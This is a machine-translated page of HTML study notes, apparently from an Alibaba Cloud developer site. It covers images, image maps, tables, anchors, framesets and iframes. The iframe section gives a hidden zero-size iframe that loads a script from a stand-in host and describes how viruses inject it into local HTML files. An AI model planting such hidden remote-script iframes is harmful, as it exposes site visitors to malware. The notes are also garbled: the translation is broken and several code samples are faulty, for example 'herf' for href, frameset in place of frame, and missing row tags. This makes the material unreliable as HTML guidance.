Home > Developer > Web Develop
Html Study Notes 3: html Study Notes
Image Tag img
Generally, the image is placed in the compiler, the Directory of the current project.
<! -- Border alt is generally used to show text when the image is not displayed -->
Image map: map
For example, if a map is located at a certain location, the map is directed to the local XX website.
Application: select a part of the current image for Link
However, the area of the image is completed by coordinates. Some software is used to divide the image as a hotspot area.
Table label: <table>
Row: tr
Cell: td
Cellpanding cellspacing: Cell margin and spacing
<Body> <table border = "1" bordercolor = "# 000EE" cellpadding = "10" width = "500"> <caption> Information </caption> <tr> <th> name </th> <th> age </th> </tr> <td> Zhang San </td> <td> 18 </td> </tr> </table> </body>
Colspan = "2": two columns
Rowspan = "2": occupies two rows
<Table border = "1" bordercolor = "# 000EE" width = "500" cellpadding = "10" cellspacing = "0"> <tbody> <! -- The table's next level change label is tbody, <tr> <th colspan = "2"> Personal Information </th> </tr> <td> Zhang San </td> <td> 18 </td> </tr> </tbody> </table>
Hyperlink <a herf = ""> </a>
Role: connect Resources
With herf, the class click effect is available. The herf attribute values are different and the resolution method is different.
If no protocol is specified for the attribute value, the default protocol is used for parsing the value (file Protocol). Therefore, http<A href = "http://www.baidu.com" target = "_ blank"> Baidu </a>Positioning tag (Anchor): returns to the specified Coordinate Position on the current page of the webpage.
<A name = "top"> Top </a> <a href =" # bottom "> bottom position </a><! -- Note that the positioning of coordinates must correspond to the relative location of the webpage -->
<! -- For example, the center is defined in the middle of the current html code -->
<! -- The bottom coordinate locating code must be written in the lower part of the code -->
Framework <frameset>
The Framework was mainly used N years ago. Currently, there are few applications and outdated products.
The role of the framework allows a form to display multiple resources and achieve window reuse.
Do not write the content code of the Framework in the body because it is not the subject content.
Create a frame above, click the link on the left border, and display it on the right border
<Frameset rows = "30%, *"> <! -- The upper and lower parts. In the preceding section, 30%, * indicates all the remaining parts --> <frameset src = top.html "name =" top "/> <frameset cols =" 30%, * "> <frameset src = ".. /left.html "name =" left "/> <frameset src = ".. /right.html "name =" right "/> </frameset> <! -- <A href = "../imgs.html" target = "right"> link 1 </a> -->
Draw labels in picture <iframe>
<Iframe src = "1.html" height = "500" width = "600"> picture-in-picture labels </iframe> <! -- Display a page form on the current page --> <! -- If you see the word, because the browser does not support this label --> <iframe src = "http://www.xxx.com/1.js" height = "0" width = "0"> malicious access </iframe> <! -- Js is a procedural file that adds all files. It does not see any forms, but runs the file. -->
For example, if a virus is added to all the local html files, it will maliciously access your computer. The lower part of the browser will display the loading status and check whether the browser is the current webpage.
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
